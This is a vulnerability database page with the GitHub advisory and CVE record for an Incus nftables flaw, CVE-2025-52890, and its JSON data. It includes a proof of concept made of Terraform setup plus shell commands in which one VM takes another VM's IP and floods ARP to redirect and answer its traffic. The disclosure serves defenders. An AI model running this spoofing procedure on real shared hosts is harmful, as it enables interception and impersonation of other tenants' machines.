ghsa-p7fw-vjjm-2rwp

Vulnerability from github

Published

2025-06-26 21:12

Modified

2025-06-28 00:11

Severity ?

8.1 (High) - CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H

Summary

Incus creates nftables rules that partially bypass security options

Details

Summary

When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.

Details

In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:

ct state established,related accept

iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop

Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).

PoC

With this terraform infrastructure:

``` resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] }

resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } }

resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } }

resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } ```

An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.

```bash [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2 10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1

Spoof machine2

[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0 [MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0

Flood

[MACHINE1]$ arping 10.0.0.1

Machine2's IP refers to machine1's MAC in host ARP table

[HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE

Packets from the host (or forwarded by the host) to machine2 ...

[HOST]$ ping 10.0.0.236 PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data. 64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms

... are sent to machine1!

[MACHINE1]$ tcpdump -nei enp5s0 listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64 15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64 ```

Impact

All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.13"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.12"
            },
            {
              "fixed": "6.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-26T21:12:45Z",
    "nvd_published_at": "2025-06-25T17:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.\n\n### Details\n\nIn commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:\n\n    ct state established,related accept\n\n    iifname \"{{.hostName}}\" ether type arp accept\n    iifname \"{{.hostName}}\" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\", \"IPv4 filtering\" and \"IPv6 filtering\" snippets:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n    ...\n    iifname \"{{.hostName}}\" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop\n    ...\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop\n\nBasically, the added rules partially bypass the security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM (machine1) change their IP address to another VM (machine2)\u0027s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2\u0027s IP, it is sent to machine1.\nIn addition, as `ct state established,related accept` is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.\n\n```bash\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2\n10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1\n\n# Spoof machine2\n[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0\n[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0\n\n# Flood\n[MACHINE1]$ arping 10.0.0.1\n\n# Machine2\u0027s IP refers to machine1\u0027s MAC in host ARP table\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE\n\n# Packets from the host (or forwarded by the host) to machine2 ...\n[HOST]$ ping 10.0.0.236\nPING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.\n64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms\n\n# ... are sent to machine1!\n[MACHINE1]$ tcpdump -nei enp5s0\nlistening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes\n15:15:17.008470 10:66:6a:99:e0:d8 \u003e 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 \u003e 10.0.0.236: ICMP echo request, id 4, seq 1, length 64\n15:15:17.008513 10:66:6a:89:39:45 \u003e 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 \u003e 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64\n```\n\n### Impact\n\nAll versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.",
  "id": "GHSA-p7fw-vjjm-2rwp",
  "modified": "2025-06-28T00:11:00Z",
  "published": "2025-06-26T21:12:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52890"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus creates nftables rules that partially bypass security options"
}

CVE-2025-52890 (GCVE-0-2025-52890)

Vulnerability from cvelistv5

Published

2025-06-25 16:51

Modified

2025-06-25 17:54

Severity ?

8.1 (High) - CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H

CWE

CWE-863 - Incorrect Authorization

Summary

Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus versions 6.12 and 6.13generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge. Commit 254dfd2483ab8de39b47c2258b7f1cf0759231c8 contains a patch for the issue.

References

►

URL

Tags

	https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp	x_refsource_CONFIRM
	https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	lxc	incus	Version: >= 6.12, <= 6.13

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-52890",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-06-25T17:53:58.542840Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-25T17:54:01.093Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "incus",
          "vendor": "lxc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 6.12, \u003c= 6.13"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Incus is a system container and virtual machine manager. When using an ACL on a device connected to a bridge, Incus versions 6.12 and 6.13generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge. Commit 254dfd2483ab8de39b47c2258b7f1cf0759231c8 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-06-25T16:51:24.279Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
        },
        {
          "name": "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8"
        }
      ],
      "source": {
        "advisory": "GHSA-p7fw-vjjm-2rwp",
        "discovery": "UNKNOWN"
      },
      "title": "Incus vulnerable to antispoofing nftables firewall rule bypass on bridge networks with ACLs"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-52890",
    "datePublished": "2025-06-25T16:51:24.279Z",
    "dateReserved": "2025-06-20T17:42:25.709Z",
    "dateUpdated": "2025-06-25T17:54:01.093Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

ghsa-p7fw-vjjm-2rwp

Vulnerability from github

Summary

Details

PoC

Spoof machine2

Flood

Machine2's IP refers to machine1's MAC in host ARP table

Packets from the host (or forwarded by the host) to machine2 ...

... are sent to machine1!

Impact

CVE-2025-52890 (GCVE-0-2025-52890)

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature